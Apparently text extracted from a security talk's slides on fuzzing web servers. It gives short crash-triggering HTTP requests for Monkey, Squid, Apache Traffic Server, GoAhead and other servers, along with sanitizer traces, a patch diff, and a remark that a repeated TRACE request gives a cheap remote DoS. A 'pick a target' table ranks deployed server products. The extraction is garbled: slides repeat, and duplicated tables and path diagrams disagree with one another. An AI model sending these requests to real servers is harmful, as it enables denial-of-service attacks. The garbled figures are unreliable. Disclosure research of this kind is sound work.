AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/
```
Results

• miniweb

POST / HTTP/1.0
Content-Length: 13
xxxxxxxxxxxxxxxxxxxxxAAAA
Results

• miniweb

GET x/x. HTTP/1.0
Results

• Mongoose
Results

- Mongoose

00000000  0a 0d 0a
00000003  |...|
Results

• Openlitespeed

GET \ HTTP/1.0
Results

- Openlitespeed

GET / HTTP/1.0
If-Modified-Since: Monday, 01-Dec-00 00:00:00 GMT
Results

• thttpd

GET /./ HTTP/1.0
Results

• Now for some slightly more interesting ones...
Results

• Monkey Web Server

POST / HTTP/1.0

X: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

X: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

X: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

X: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

X: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Content-Length: 0
Results

Monkey HTTP Server v1.6.0
Built : Aug 7 2014 23:32:44 (gcc 4.9.0)
Home  : http://monkey-project.com
[+] Process ID is 29385
[+] Server socket listening on Port 2001
[+] 4 threads, 126 client connections per thread, total 504
[+] Transport layer by liana in http mode

[2014/08/08 01:33:00] [   Info] HTTP Server started
=================================================================
==29385==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c00000e1f6 at pc 0x423e4a bp 0x7f3ab3ceb7e0 sp 0x7f3ab3ceb7d8
READ of size 1 at 0x62c00000e1f6 thread T3 (monkey: wrk/0)
#0 0x423e49 in mk_string_copy_substr /home/matthew/monkey/src/mk_string.c:411
#1 0x408213 in mk_method_validate_content_length /home/matthew/monkey/src/mk_method.c:84
#2 0x42a1ca in mk_http_pending_request /home/matthew/monkey/src/mk_http.c:744
#3 0x424813 in mk_conn_read /home/matthew/monkey/src/mk_connection.c:77
#4 0x42162b in mk_sched_launch_thread /home/matthew/monkey/src/mk_scheduler.c:533
#5 0x7f3ab8b1ab0a in pthread_create (/usr/lib/x86_64-linux-gnu/libpthread.so.0+0x23b0a)
#6 0x07f3ab86de0a3 in start_thread (/lib/x86_64-linux-gnu/libthread.so.0+0x80a3)
#7 0x07f3ab841304c in clone (/lib/x86_64-linux-gnu/libc.so.6+0xe604c)

AddressSanitizer can not describe address in more detail (wild memory access suspected).

SUMMARY: AddressSanitizer: heap-buffer-overflow
/home/matthew/monkey/src/mk_string.c:411 mk_string_copy_substr
Shadow bytes around the buggy address:
0x0c587eff9be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587eff9c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:      fa
Heap right redzone:     fb
Freed heap region:      fd
Stack left redzone:     f1
Stack mid redzone:      f2
Stack right redzone:    f3
Stack partial redzone:  f4
Stack after return:    f5
Stack use after scope: f8
Global redzone:         f9
Global init order:      f6
Contiguous container OOB: fe
ASan internal:         fe
Thread T3 (monkey: wrk/0) created by T0 (monkey: server) here:
#0 0x07f3ab86de0a3 in start_thread (/lib/x86_64-linux-gnu/libthread.so.0+0x80a3)
#1 0x42162b in mk_sched_launch_thread /home/matthew/monkey/src/mk_scheduler.c:533
#2 0x42cfca in mk_server_launch_workers /home/matthew/monkey/src/mk_server.c:77
#3 0x407cf8 in main /home/matthew/monkey/src/monkey.c:343
#4 0x7f3ab834eb44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0xe604c)
The buffer offset and the end position passed to mk_string_copy_substr
is incorrect.

Signed-off-by: Matthew Daley <mattd@bugfuzz.com>
---
src/mk_method.c | 4 +++-
1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/mk_method.c b/src/mk_method.c
index 82b77f2..702525f 100644
--- a/src/mk_method.c
+++ b/src/mk_method.c
@@ -81,8 +81,8 @@ long int mk_method_validate_content_length(const char *body, int body_len)
        return -1;
     }

-    str_cl = mk_string_copy_substr(body + pos_header + mk_rh_content_length.len + 1,
-                                    0, pos_header + pos_crlf);
+    str_cl = mk_string_copy_substr(body + pos_header + mk_rh_content_length.len,
+                                    0, pos_crlf - mk_rh_content_length.len);
    len = strtol(str_cl, (char **) NULL, 10);
    mk_mem_free(str_cl);
- Issue #0: Custom error page FD leak (denial of service)

When a custom error page is to be returned in response to a client request, a handle to the appropriate custom error content file is obtained via a call to open() (src/mk_request.c:839). This fd is stored in the fd_file member of the session_request structure.

This is in contrast to the way regular response content files are opened. Here, mk_vhost_open() is used instead of calling open() directly. This function uses the per-vhost fd hashtable in an attempt to minimize fd usage and only opens a new fd if necessary. It also sets the vhost_fdt_{id,hash} members of the session_request structure.

When the time comes to destroy the session_request with mk_request_free(), a call to mk_vhost_close() is made to (maybe, depending on reader count) close the session_request's fd_file. This call is made regardless of whether the fd was obtained via a call to mk_vhost_open() or instead by calling open() directly.

mk_vhost_close(), expecting that the handle has only been obtained by use of mk_vhost_open(), searches the per-vhost fd hashtable for the session_request's vhost_fdt_hash. In the custom error page case, the hash is always 0 since it has been untouched since session_request memory allocation and zeroization (via memset()).

It will (assuming the hashtable isn't full) always mistakenly find a "matching" hashchain element, since uninitialized elements have a hash of 0 (and a fd of -1, but this unchecked by mk_vhost_fdt_chain_lookup()). This element will have a reader count of 0, and so the decrement performed by...
Results

• Squid

GET / HTTP/1.0
Range: bytes=--1
Results

• Apache Traffic Server

TRACE / HTTP/1.0
Max-Forwards: 0
Results

++++++++++ Incoming Request ++++++++++
-- State Machine Id: 0
TRACE http://127.0.0.1:2999/ HTTP/1.0
Max-Forwards: 0

++++++++++ Proxy's Response 2 ++++++++++
-- State Machine Id: 0
HTTP/1.0 200 OK
Date: Mon, 17 Nov 2014 01:54:09 GMT
Server: ATS/5.1.1

FATAL: HttpTransact.cc:5417: failed assert `done`
/usr/local/bin/traffic_server - STACK TRACE:
/usr/local/bin/libtsutil.so.5(+0x25747)[0x2aaaaacf3747]
/usr/local/bin/libtsutil.so.5(+0x2477f)[0x2aaaaacf277f]
/usr/local/bin/traffic_server(_ZN12HttpTransact33handle_trace_and_options_requestsEPNS_5StateEP7HTTPHdr+0x5fd)[0x5d576d]
/usr/local/bin/traffic_server(_ZN12HttpTransact13HandleRequestEPNS_5StateE+0x1da)[0x5e100a]
/usr/local/bin/traffic_server(_ZN6HttpSM32call_transact_and_set_next_stateEPFvPN12HttpTransact5StateEE+0x56)[0x5aecd6]
Results

As mentioned earlier, this assertion is still present in release builds and is hence triggerable in normal production server instances. Of course, the parent process, traffic_manager, will restart the traffic_server process when it sees that it has died, but it takes several seconds before the new process is ready to handle requests. Also, traffic_manager will queue incoming requests until the new process is ready to handle them; these requests might consist of more of this same request that caused the process to crash in the first place. This allows a remote user to perform an effective DoS with very little resources by simply sending the request repeatedly.
<table>
<thead>
<tr>
<th></th>
<th>real</th>
<th>real</th>
<th>real</th>
<th>real</th>
<th>real</th>
<th>real</th>
<th>real</th>
<th>real</th>
</tr>
</thead>
<tbody>
<tr>
<td>real</td>
<td>0m0.477s</td>
<td>0m0.479s</td>
<td>0m2.033s</td>
<td>0m0.442s</td>
<td>0m0.479s</td>
<td>0m2.033s</td>
<td>0m0.442s</td>
<td>0m0.457s</td>
</tr>
<tr>
<td>user</td>
<td>0m0.008s</td>
<td>0m0.008s</td>
<td>0m0.004s</td>
<td>0m0.016s</td>
<td>0m0.008s</td>
<td>0m0.004s</td>
<td>0m0.016s</td>
<td>0m0.008s</td>
</tr>
<tr>
<td>sys</td>
<td>0m0.008s</td>
<td>0m0.008s</td>
<td>0m0.012s</td>
<td>0m0.000s</td>
<td>0m0.008s</td>
<td>0m0.012s</td>
<td>0m0.000s</td>
<td>0m0.008s</td>
</tr>
</tbody>
</table>
Step #1: Pick a target

<table>
<thead>
<tr>
<th>Servicename</th>
<th>Product</th>
<th>Count</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>http</td>
<td>Apache</td>
<td>14208112</td>
<td>20.057</td>
</tr>
<tr>
<td>http</td>
<td>Allegro RomPager</td>
<td>13116974</td>
<td>18.517</td>
</tr>
<tr>
<td>http</td>
<td>Microsoft IIS httpd</td>
<td>6071267</td>
<td>8.571</td>
</tr>
<tr>
<td>http</td>
<td>AkamaiGHost</td>
<td>4064402</td>
<td>5.738</td>
</tr>
<tr>
<td>http</td>
<td>nginx</td>
<td>4045993</td>
<td>5.712</td>
</tr>
<tr>
<td>http</td>
<td>micro_httpd</td>
<td>1991840</td>
<td>2.812</td>
</tr>
<tr>
<td>http</td>
<td>Arris Touchstone cable modem http config</td>
<td>1610036</td>
<td>2.273</td>
</tr>
<tr>
<td>http</td>
<td>lighttpd</td>
<td>1176185</td>
<td>1.66</td>
</tr>
<tr>
<td>http</td>
<td>Microsoft HTTPAPI httpd</td>
<td>1060946</td>
<td>1.498</td>
</tr>
<tr>
<td>http</td>
<td>GoAhead-Webs httpd</td>
<td>939238</td>
<td>1.326</td>
</tr>
<tr>
<td>http</td>
<td>GoAhead-Webs embedded httpd</td>
<td>695367</td>
<td>0.982</td>
</tr>
<tr>
<td>no match</td>
<td>-/</td>
<td>595358</td>
<td>0.84</td>
</tr>
<tr>
<td>http</td>
<td>Boa HTTPd</td>
<td>580551</td>
<td>0.82</td>
</tr>
<tr>
<td>http</td>
<td>Cisco IOS http config</td>
<td>572114</td>
<td>0.808</td>
</tr>
<tr>
<td>http</td>
<td>NET-DK</td>
<td>477073</td>
<td>0.673</td>
</tr>
<tr>
<td>http</td>
<td>Alcatel/Thomson SpeedTouch ADSL http config</td>
<td>400731</td>
<td>0.566</td>
</tr>
<tr>
<td>http</td>
<td>Apache Tomcat/Coyote JSP engine</td>
<td>354335</td>
<td>0.5</td>
</tr>
<tr>
<td>http</td>
<td>mini_httpd</td>
<td>353009</td>
<td>0.498</td>
</tr>
<tr>
<td>http</td>
<td>MikroTik router config httpd</td>
<td>279399</td>
<td>0.394</td>
</tr>
<tr>
<td>http</td>
<td>MikroTik httpd</td>
<td>288308</td>
<td>0.370</td>
</tr>
</tbody>
</table>
### Step #1: Pick a target

<table>
<thead>
<tr>
<th>ServiceName</th>
<th>Product</th>
<th>Count</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>http</td>
<td>Apache</td>
<td>14208112</td>
<td>20.057</td>
</tr>
<tr>
<td>http</td>
<td>Allegro RomPager</td>
<td>13116974</td>
<td>18.517</td>
</tr>
<tr>
<td>http</td>
<td>Microsoft IIS httpd</td>
<td>6071287</td>
<td>8.571</td>
</tr>
<tr>
<td>http</td>
<td>AkamaiGHost</td>
<td>4064402</td>
<td>5.738</td>
</tr>
<tr>
<td>http</td>
<td>nginx</td>
<td>4045993</td>
<td>5.712</td>
</tr>
<tr>
<td>http</td>
<td>micro_httpd</td>
<td>1991840</td>
<td>2.812</td>
</tr>
<tr>
<td>http</td>
<td>Arris Touchstone cable modem http config</td>
<td>1610036</td>
<td>2.273</td>
</tr>
<tr>
<td>http</td>
<td>lighttpd</td>
<td>1176185</td>
<td>1.66</td>
</tr>
<tr>
<td>http</td>
<td>Microsoft HTTPAPI httpd</td>
<td>1060946</td>
<td>1.498</td>
</tr>
<tr>
<td>http</td>
<td>GoAhead-Webs httpd</td>
<td>939238</td>
<td>1.326</td>
</tr>
<tr>
<td>http</td>
<td>GoAhead-Webs embedded httpd</td>
<td>695367</td>
<td>0.982</td>
</tr>
<tr>
<td>no match</td>
<td>-/-</td>
<td>595358</td>
<td>0.84</td>
</tr>
<tr>
<td>http</td>
<td>Boa HTTPd</td>
<td>580551</td>
<td>0.82</td>
</tr>
<tr>
<td>http</td>
<td>Cisco IOS http config</td>
<td>572114</td>
<td>0.808</td>
</tr>
<tr>
<td>http</td>
<td>NET-DK</td>
<td>477073</td>
<td>0.673</td>
</tr>
<tr>
<td>http</td>
<td>Alcatel/Thomson SpeedTouch ADSL http config</td>
<td>400731</td>
<td>0.566</td>
</tr>
<tr>
<td>http</td>
<td>Apache Tomcat/Coyote JSP engine</td>
<td>354335</td>
<td>0.5</td>
</tr>
<tr>
<td>http</td>
<td>mini_httpd</td>
<td>353009</td>
<td>0.498</td>
</tr>
<tr>
<td>http</td>
<td>MikroTik router config httpd</td>
<td>279399</td>
<td>0.394</td>
</tr>
<tr>
<td>http</td>
<td>MikroTik router config httpd</td>
<td>288206</td>
<td>0.370</td>
</tr>
</tbody>
</table>
Results

• GoAhead Web Server

GET /./AAAAAAAAAAAAAAAAAAAAA/.x HTTP/1.1
Results

• GoAhead Web Server

GET /./AAAAAAAAAAAAAAAAAAA/ .x HTTP/1.1

Crash in function that normalizes URLs
/foo/bar/../baz/./whatever/ ->
/foo/baz/whatever/
Results

• GoAhead Web Server
  • `/foo/bar/../baz/./whatever/`

<table>
<thead>
<tr>
<th>foo</th>
</tr>
</thead>
<tbody>
<tr>
<td>bar</td>
</tr>
<tr>
<td>..</td>
</tr>
<tr>
<td>baz</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>whatever</td>
</tr>
</tbody>
</table>
Results

• GoAhead Web Server
  • `/foo/bar/../baz/./whatever/`

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>foo</td>
<td>3</td>
</tr>
<tr>
<td>bar</td>
<td>3</td>
</tr>
<tr>
<td>..</td>
<td>2</td>
</tr>
<tr>
<td>baz</td>
<td>3</td>
</tr>
<tr>
<td>.</td>
<td>1</td>
</tr>
<tr>
<td>whatever</td>
<td>8</td>
</tr>
</tbody>
</table>
Results

- GoAhead Web Server
  - `/foo/bar/../baz/./whatever/`

```
foo
bar
..
baz
.
whatever
```

Total length = \(3 + 3 + 2 + 3 + 1 + 8 + 6 = 26\)
Results

• GoAhead Web Server
  • `/foo/bar/../baz/./whatever/`

<table>
<thead>
<tr>
<th>foo</th>
</tr>
</thead>
<tbody>
<tr>
<td>bar</td>
</tr>
<tr>
<td>..</td>
</tr>
<tr>
<td>baz</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>whatever</td>
</tr>
</tbody>
</table>

Total length = 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26
Results

• GoAhead Web Server
  • `/foo/bar/./baz/./whatever/`

Total length = \(3 + 3 + 2 + 3 + 1 + 8 + 6 = 26\)
Results

• GoAhead Web Server
  • `/foo/bar/../baz/./whatever/`

Total length = 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26
Results

• GoAhead Web Server
  • `/foo/bar/..../baz/./whatever/`

```
foo
bar
.
baz
.
whatever
```

Total length = 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26
Results

- GoAhead Web Server
  - `/foo/bar/../baz./whatever/`

```
<table>
<thead>
<tr>
<th>foo</th>
</tr>
</thead>
<tbody>
<tr>
<td>baz</td>
</tr>
<tr>
<td>..</td>
</tr>
<tr>
<td>baz</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>whatever</td>
</tr>
</tbody>
</table>
```

Total length = 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26
Results

• GoAhead Web Server
  • `/foo/bar/../baz/./whatever/`

   Input pointer

   Output pointer

   Total length = 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26
Results

- GoAhead Web Server
  - `/foo/bar/..//baz/./whatever/`

```
foo
baz
..
  baz
  .
whatever
```

Total length = \( 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26 \)
Results

- GoAhead Web Server
  - `/foo/bar/../baz/../whatever/`

```
foo
baz
whatever
baz
.
whatever
```

Total length = 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26
Results

- GoAhead Web Server
  - `/foo/bar/../baz/./whatever/`

Input pointer

```
foo
baz
whatever
baz
.
whatever
```

Output pointer

Total length = $3 + 3 + 2 + 3 + 1 + 8 + 6 = 26$
Results

• GoAhead Web Server

  • `/foo/bar/../../baz/../whatever/`

  Total length = 3 + 3 + 2 + 3 + 1
  + 8 + 6 = 26
Results

- GoAhead Web Server
  - `/foo/bar/../../../baz/./whatever/`

<table>
<thead>
<tr>
<th>foo</th>
<th>baz</th>
<th>whatever</th>
</tr>
</thead>
</table>

Total length = $3 + 3 + 2 + 3 + 1 + 8 + 6 = 26$
Results

• GoAhead Web Server
  • `/foo/bar/../baz/./whatever/`

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>foo</td>
<td>baz</td>
</tr>
<tr>
<td></td>
<td>whatever</td>
</tr>
</tbody>
</table>

```
malloc(26):
```

Total length = $3 + 3 + 2 + 3 + 1 + 8 + 6 = 26$
Results

• GoAhead Web Server
  • `/foo/bar/../baz/./whatever/

   foo
   baz
   whatever

`malloc(26):`
`/foo/baz/whatever`

Total length = 3 + 3 + 2 + 3 + 1 + 8 + 6 = 26
Results

• GoAhead Web Server
  • `/foo/bar/../../baz/./whatever/

`malloc(26): `/foo/baz/whatever`
Results

• GoAhead Web Server
  • /normalsegment
Results

- GoAhead Web Server
  - /normal_segment
  - /.
Results

• GoAhead Web Server
  • /normal_segment
  • /
  • /..
Results

• GoAhead Web Server
  • /normalsegment
  • ./
  • ../
  • ./somethingelse  ???
Results

• GoAhead Web Server
  • /./ABCDEFGH/.x
Results

- GoAhead Web Server
  - /./ABCDEFGH/ .x
Results

• GoAhead Web Server
  • /./ABCDEFGH/.x

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
